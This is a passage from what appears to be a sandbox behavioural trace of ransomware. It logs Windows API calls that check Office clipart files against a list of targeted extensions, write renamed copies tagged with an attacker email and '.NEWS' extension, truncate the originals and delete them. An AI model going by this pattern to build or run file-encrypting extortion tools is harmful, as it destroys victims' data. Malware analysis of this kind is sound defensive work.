(lpString=".pdf") returned 4 [0077.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.624] lstrlenW (lpString=".xls") returned 4 [0077.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.624] lstrlenW (lpString=".xlsx") returned 5 [0077.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.624] lstrlenW (lpString=".ppt") returned 4 [0077.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0077.624] lstrlenW (lpString=".zip") returned 4 [0077.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.624] lstrlenW (lpString=".rar") returned 4 [0077.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.624] lstrlenW (lpString=".bz2") returned 4 [0077.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.625] lstrlenW (lpString=".7z") returned 3 [0077.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0077.625] lstrlenW (lpString=".dbf") returned 4 [0077.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0077.625] lstrlenW (lpString=".1cd") returned 4 [0077.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0077.625] lstrlenW (lpString=".jpg") returned 4 [0077.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.625] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.625] lstrlenW (lpString="BD00173_.WMF") returned 12 [0077.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0077.625] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=16180) returned 1 [0077.625] CloseHandle (hObject=0x35c) returned 1 [0077.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220 [0077.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0077.626] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.626] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0077.626] GetLastError () returned 0x0 [0077.626] ReadFile (in: hFile=0x35c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x3f34, lpOverlapped=0x0) returned 1 [0077.628] WriteFile (in: hFile=0x38c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x3f40, lpOverlapped=0x0) returned 1 [0077.629] ReadFile (in: hFile=0x35c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.629] WriteFile (in: hFile=0x38c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.629] SetEndOfFile (hFile=0x38c) returned 1 [0077.629] CloseHandle (hObject=0x38c) returned 1 [0077.631] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.631] SetEndOfFile (hFile=0x35c) returned 1 [0077.631] CloseHandle (hObject=0x35c) returned 1 [0077.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0077.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0077.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0077.632] lstrlenW (lpString=".doc") returned 4 [0077.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.632] lstrlenW (lpString=".docx") returned 5 [0077.632] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.632] lstrlenW (lpString=".pdf") returned 4 [0077.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.632] lstrlenW (lpString=".xls") returned 4 [0077.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.632] lstrlenW (lpString=".xlsx") returned 5 [0077.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.632] lstrlenW (lpString=".ppt") returned 4 [0077.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0077.633] lstrlenW (lpString=".zip") returned 4 [0077.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.633] lstrlenW (lpString=".rar") returned 4 [0077.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.633] lstrlenW (lpString=".bz2") returned 4 [0077.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.633] lstrlenW (lpString=".7z") returned 3 [0077.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0077.633] lstrlenW (lpString=".dbf") returned 4 [0077.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0077.633] lstrlenW (lpString=".1cd") returned 4 [0077.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0077.633] lstrlenW (lpString=".jpg") returned 4 [0077.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0077.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0077.633] lstrlenW (lpString=".doc") returned 4 [0077.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.633] lstrlenW (lpString=".docx") returned 5 [0077.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.633] lstrlenW (lpString=".pdf") returned 4 [0077.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.633] lstrlenW (lpString=".xls") returned 4 [0077.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.633] lstrlenW (lpString=".xlsx") returned 5 [0077.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.633] lstrlenW (lpString=".ppt") returned 4 [0077.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0077.634] lstrlenW (lpString=".zip") returned 4 [0077.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.634] lstrlenW (lpString=".rar") returned 4 [0077.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.634] lstrlenW (lpString=".bz2") returned 4 [0077.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.634] lstrlenW (lpString=".7z") returned 3 [0077.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0077.634] lstrlenW (lpString=".dbf") returned 4 [0077.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0077.634] lstrlenW (lpString=".1cd") returned 4 [0077.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0077.634] lstrlenW (lpString=".jpg") returned 4 [0077.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.634] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.634] lstrlenW (lpString="BD05119_.WMF") returned 12 [0077.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0077.637] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=17236) returned 1 [0077.637] CloseHandle (hObject=0x35c) returned 1 [0077.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220 [0077.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0077.637] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.637] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0077.638] GetLastError () returned 0x0 [0077.638] ReadFile (in: hFile=0x35c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x4354, lpOverlapped=0x0) returned 1 [0077.639] WriteFile (in: hFile=0x38c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4360, lpOverlapped=0x0) returned 1 [0077.641] ReadFile (in: hFile=0x35c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.641] WriteFile (in: hFile=0x38c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.641] SetEndOfFile (hFile=0x38c) returned 1 [0077.641] CloseHandle (hObject=0x38c) returned 1 [0077.642] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.642] SetEndOfFile (hFile=0x35c) returned 1 [0077.643] CloseHandle (hObject=0x35c) returned 1 [0077.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0077.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0077.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0077.644] lstrlenW (lpString=".doc") returned 4 [0077.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.644] lstrlenW (lpString=".docx") returned 5 [0077.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.644] lstrlenW (lpString=".pdf") returned 4 [0077.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.644] lstrlenW (lpString=".xls") returned 4 [0077.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.644] lstrlenW (lpString=".xlsx") returned 5 [0077.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.644] lstrlenW (lpString=".ppt") returned 4 [0077.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0077.644] lstrlenW (lpString=".zip") returned 4 [0077.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.644] lstrlenW (lpString=".rar") returned 4 [0077.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.644] lstrlenW (lpString=".bz2") returned 4 [0077.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.644] lstrlenW (lpString=".7z") returned 3 [0077.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0077.645] lstrlenW (lpString=".dbf") returned 4 [0077.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0077.645] lstrlenW (lpString=".1cd") returned 4 [0077.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0077.645] lstrlenW (lpString=".jpg") returned 4 [0077.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0077.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0077.645] lstrlenW (lpString=".doc") returned 4 [0077.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.645] lstrlenW (lpString=".docx") returned 5 [0077.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.645] lstrlenW (lpString=".pdf") returned 4 [0077.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.645] lstrlenW (lpString=".xls") returned 4 [0077.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.645] lstrlenW (lpString=".xlsx") returned 5 [0077.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.645] lstrlenW (lpString=".ppt") returned 4 [0077.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0077.645] lstrlenW (lpString=".zip") returned 4 [0077.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.645] lstrlenW (lpString=".rar") returned 4 [0077.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.645] lstrlenW (lpString=".bz2") returned 4 [0077.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.645] lstrlenW (lpString=".7z") returned 3 [0077.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0077.646] lstrlenW (lpString=".dbf") returned 4 [0077.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0077.646] lstrlenW (lpString=".1cd") returned 4 [0077.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0077.646] lstrlenW (lpString=".jpg") returned 4 [0077.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.646] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.646] lstrlenW (lpString="BD06102_.WMF") returned 12 [0077.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0077.646] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=16112) returned 1 [0077.646] CloseHandle (hObject=0x35c) returned 1 [0077.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220 [0077.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0077.647] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.647] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0077.647] GetLastError () returned 0x0 [0077.647] ReadFile (in: hFile=0x35c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x3ef0, lpOverlapped=0x0) returned 1 [0077.649] WriteFile (in: hFile=0x38c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x3f00, lpOverlapped=0x0) returned 1 [0077.650] ReadFile (in: hFile=0x35c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.650] WriteFile (in: hFile=0x38c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.650] SetEndOfFile (hFile=0x38c) returned 1 [0077.650] CloseHandle (hObject=0x38c) returned 1 [0077.652] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.652] SetEndOfFile (hFile=0x35c) returned 1 [0077.653] CloseHandle (hObject=0x35c) returned 1 [0077.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0077.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0077.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0077.653] lstrlenW (lpString=".doc") returned 4 [0077.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.653] lstrlenW (lpString=".docx") returned 5 [0077.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.653] lstrlenW (lpString=".pdf") returned 4 [0077.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.653] lstrlenW (lpString=".xls") returned 4 [0077.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.653] lstrlenW (lpString=".xlsx") returned 5 [0077.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.653] lstrlenW (lpString=".ppt") returned 4 [0077.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0077.654] lstrlenW (lpString=".zip") returned 4 [0077.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.654] lstrlenW (lpString=".rar") returned 4 [0077.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.654] lstrlenW (lpString=".bz2") returned 4 [0077.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.654] lstrlenW (lpString=".7z") returned 3 [0077.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0077.654] lstrlenW (lpString=".dbf") returned 4 [0077.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0077.654] lstrlenW (lpString=".1cd") returned 4 [0077.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0077.654] lstrlenW (lpString=".jpg") returned 4 [0077.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0077.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0077.654] lstrlenW (lpString=".doc") returned 4 [0077.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.654] lstrlenW (lpString=".docx") returned 5 [0077.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.654] lstrlenW (lpString=".pdf") returned 4 [0077.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.654] lstrlenW (lpString=".xls") returned 4 [0077.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.654] lstrlenW (lpString=".xlsx") returned 5 [0077.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.654] 